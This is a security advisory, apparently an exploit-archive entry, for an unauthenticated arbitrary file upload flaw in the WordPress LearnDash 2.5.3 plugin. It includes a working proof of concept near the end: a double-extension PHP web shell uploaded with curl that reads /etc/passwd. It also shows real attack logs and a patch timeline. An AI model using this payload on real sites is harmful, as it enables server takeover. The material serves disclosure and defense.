WordPress LearnDash 2.5.3 File Upload

WordPress LearnDash plugin version 2.5.3 suffers from an arbitrary file upload vulnerability.

MD5 | 16db1a477dfec3557bd4c33fa68145e7

# Exploit Title: WordPress LearnDash 2.5.3 Unauthenticated Arbitrary File Upload
# Date: 07-01-2018
# Vendor Homepage: https://www.learndash.com/
# Vendor Changelog: https://www.learndash.com/changelog/
# Version: 2.5.3
# Exploit Author: NinTechNet
# Author Advisory: http://nin.link/learndash/
# Category: Webapps

1. Overview:

This vulnerability has been exploited at least since Dec. 27th, 2017.
Here's a log sample showing the attack: - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200
47095 - - [27/Dec/2017:20:29:34 +0100] "GET
/wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266 - - [27/Dec/2017:20:29:36 +0100] "GET
/wp-admin/ms-site.php HTTP/1.1" 200 4110

2. Description:

The plugin offers the possibility to create courses and to assign
lessons to them. Each lesson can allow uploads, and it is possible to
restrict them by file extensions. Uploads are handled by the
learndash_assignment_process_init() function located in the
"wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php" script:

// ===================================================================
function learndash_assignment_process_init() {

if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
$post_id = $_POST['post'];
$file = $_FILES['uploadfiles'];

if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload(
$file, $post_id ) ) ) {
$file_desc = learndash_fileupload_process( $file, $post_id );
$file_name = $file_desc['filename'];
$file_link = $file_desc['filelink'];
$params = array(
'filelink' => $file_link,
'filename' => $file_name,
// ===================================================================

Neither this function nor the learndash_check_upload() and
learndash_fileupload_process() functions it calls check if the user is
authenticated or allowed to upload files, or even if the post ID, course
and lesson exist before accepting the file.

The plugin calls the WordPress wp_check_filetype() API function, removes
the filename extension and appends the one returned by this function.
Because wp_check_filetype() will return an empty value for PHP scripts,
the file extension will be removed: "script.php" will become "script.".
But that can be bypassed by appending a double extension, e.g.,
"script.php.php" which will be turned into "script.php.". Although the
PHP filename ends with a [.] dot, it is still executed by default by the
PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI.

3. Proof of concept:

To exploit the vulnerability, it is only required that the plugin be
enabled, even if no courses or lessons were created (bogus values can be
assigned to each variable):

$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F
"uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'
-rw-r--r-- 1 root root 2385 Apr 14 2017 /etc/passwd

4. Timeline:

Authors were informed on January 2nd and released version 2.5.4 on January 3rd.

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